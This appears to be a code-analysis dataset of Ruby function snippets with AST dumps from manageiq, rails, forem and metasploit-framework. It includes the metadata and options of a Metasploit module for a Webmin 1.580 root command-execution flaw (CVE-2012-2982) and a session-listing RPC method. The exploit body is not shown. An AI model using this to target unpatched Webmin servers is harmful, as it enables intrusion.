{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_provision_mixin.rb","start_line":189,"raw_source":"def set_customization_spec(custom_spec_name, override = false)\n    if custom_spec_name.nil?\n      disable_customization_spec\n    else\n      custom_spec_name = custom_spec_name.name unless custom_spec_name.kind_of?(String)\n      options = self.options.dup\n      workflow do |prov_wf|\n        options[:sysprep_enabled] = %w[fields Specification]\n        prov_wf.init_from_dialog(options)\n        prov_wf.get_all_dialogs\n        prov_wf.allowed_customization_specs\n        prov_wf.get_timezones\n        prov_wf.refresh_field_values(options)\n        custom_spec = prov_wf.allowed_customization_specs.detect { |cs| cs.name == custom_spec_name }\n        if custom_spec.nil?\n          raise MiqException::MiqProvisionError,\n                _(\"Customization Specification [%{name}] does not exist.\") % {:name => custom_spec_name}\n        end\n\n        options[:sysprep_custom_spec] = [custom_spec.id, custom_spec.name]\n        override_value = override == false ? [false, 0] : [true, 0]\n        options[:sysprep_spec_override] = override_value\n        # Call refresh_field_values a second time so it recognizes the config change\n        # and loads the defaults the customization spec settings\n        prov_wf.refresh_field_values(options)\n\n        self.options.keys.each do |key|\n          v_old = self.options[key]\n          v_new = options[key]\n          _log.info(\"option <#{key}> was changed from <#{v_old.inspect}> to <#{v_new.inspect}>\") unless v_old == v_new\n        end\n\n        update_attribute(:options, options)\n      end\n    end\n\n    true\n  end","complexity_score":78.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_customization_spec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_spec_name\"]},{\"type\":\"optarg\",\"children\":[\"override\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"disable_customization_spec\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec_name\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"custom_spec_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec_name\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"workflow\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prov_wf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sysprep_enabled\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fields\"]},{\"type\":\"str\",\"children\":[\"Specification\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"init_from_dialog\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"get_all_dialogs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"allowed_customization_specs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"get_timezones\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"refresh_field_values\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_spec\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"allowed_customization_specs\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"custom_spec_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqException\"]},\"MiqProvisionError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Customization Specification [%{name}] does not exist.\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"custom_spec_name\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sysprep_custom_spec\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_spec\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"override_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"override\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sysprep_spec_override\"]},{\"type\":\"lvar\",\"children\":[\"override_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prov_wf\"]},\"refresh_field_values\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v_old\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v_new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v_old\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"v_new\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"option <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"> was changed from <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v_old\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"> to <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v_new\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_attribute\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"b0a24f98-a313-4c01-964b-f28b84e2d3a8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":330,"raw_source":"def test_array_as_collection_or_member_method_value\n    with_routing do |set|\n      set.draw do\n        resources :messages do\n          collection do\n            match :search, via: [:post, :get]\n          end\n\n          member do\n            match :toggle, via: [:post, :get]\n          end\n        end\n      end\n\n      assert_restful_routes_for :messages do |options|\n        [:get, :post].each do |method|\n          assert_recognizes(options.merge(action: \"search\"), path: \"/messages/search\", method: method)\n        end\n        [:get, :post].each do |method|\n          assert_recognizes(options.merge(action: \"toggle\", id: \"1\"), path: \"/messages/1/toggle\", method: method)\n        end\n      end\n    end\n  end","complexity_score":30.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_as_collection_or_member_method_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"messages\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"get\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"sym\",\"children\":[\"toggle\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"get\"]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_restful_routes_for\",{\"type\":\"sym\",\"children\":[\"messages\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_recognizes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"search\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"/messages/search\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_recognizes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"toggle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"/messages/1/toggle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]}]}]}]}]}","id":"d135d309-ffed-4601-885a-e025d7dd1ebe"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/navigation_links_controller.rb","start_line":11,"raw_source":"def index\n      @default_nav_links = NavigationLink.from_subforem.default_section.ordered\n      @other_nav_links = NavigationLink.from_subforem.other_section.ordered\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_nav_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NavigationLink\"]},\"from_subforem\"]},\"default_section\"]},\"ordered\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@other_nav_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NavigationLink\"]},\"from_subforem\"]},\"other_section\"]},\"ordered\"]}]}]}]}","id":"6dad6472-e87e-45dc-835e-0c3c2146ceaa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Webmin /file/show.cgi Remote Command Execution',\n        'Description' => %q{\n          This module exploits an arbitrary command execution vulnerability in Webmin\n          1.580. The vulnerability exists in the /file/show.cgi component and allows an\n          authenticated user, with access to the File Manager Module, to execute arbitrary\n          commands with root privileges. The module has been tested successfully with Webmin\n          1.580 over Ubuntu 10.04.\n        },\n        'Author' => [\n          'Unknown', # From American Information Security Group\n          'juan vazquez' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['OSVDB', '85248'],\n          ['BID', '55446'],\n          ['CVE', '2012-2982'],\n          ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],\n          ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']\n        ],\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 512,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic perl ruby python telnet',\n                        }\n        },\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Webmin 1.580', {}]],\n        'DisclosureDate' => '2012-09-06',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(10000),\n        OptBool.new('SSL', [true, 'Use SSL', true]),\n        OptString.new('USERNAME', [true, 'Webmin Username']),\n        OptString.new('PASSWORD', [true, 'Webmin Password'])\n      ]\n    )\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Webmin /file/show.cgi Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an arbitrary command execution vulnerability in Webmin\\n\"]},{\"type\":\"str\",\"children\":[\"          1.580. The vulnerability exists in the /file/show.cgi component and allows an\\n\"]},{\"type\":\"str\",\"children\":[\"          authenticated user, with access to the File Manager Module, to execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          commands with root privileges. The module has been tested successfully with Webmin\\n\"]},{\"type\":\"str\",\"children\":[\"          1.580 over Ubuntu 10.04.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"85248\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"55446\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-2982\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl ruby python telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Webmin 1.580\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-09-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Webmin Username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Webmin Password\"]}]}]}]}]}]}]}","id":"502e14e4-7754-44a0-87ff-4df3d9c743e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_session.rb","start_line":29,"raw_source":"def rpc_list\n    res = {}\n    self.framework.sessions.each do |sess|\n      i,s = sess\n      res[s.sid] = {\n        'type'         => s.type.to_s,\n        'tunnel_local' => s.tunnel_local.to_s,\n        'tunnel_peer'  => s.tunnel_peer.to_s,\n        'via_exploit'  => s.via_exploit.to_s,\n        'via_payload'  => s.via_payload.to_s,\n        'desc'         => s.desc.to_s,\n        'info'         => s.info.to_s,\n        'workspace'    => s.workspace.to_s,\n        'session_host' => s.session_host.to_s,\n        'session_port' => s.session_port.to_i,\n        'target_host'  => s.target_host.to_s,\n        'username'     => s.username.to_s,\n        'uuid'         => s.uuid.to_s,\n        'exploit_uuid' => s.exploit_uuid.to_s,\n        'routes'       => s.routes.join(\",\"),\n        'arch'         => s.arch.to_s\n      }\n      if(s.type.to_s == \"meterpreter\")\n        res[s.sid]['platform'] = s.platform.to_s\n      end\n    end\n    res\n  end","complexity_score":65.5,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"sessions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sess\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"lvasgn\",\"children\":[\"s\"]}]},{\"type\":\"lvar\",\"children\":[\"sess\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"sid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"type\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tunnel_local\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"tunnel_local\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tunnel_peer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"tunnel_peer\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"via_exploit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"via_exploit\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"via_payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"via_payload\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"desc\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"info\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"workspace\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"session_host\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"session_port\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"target_host\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"username\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"uuid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"exploit_uuid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"routes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"routes\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"arch\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"type\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"sid\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"platform\"]},\"to_s\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"82dd1dac-dd52-40a7-826f-69bf88e0bb1f"}
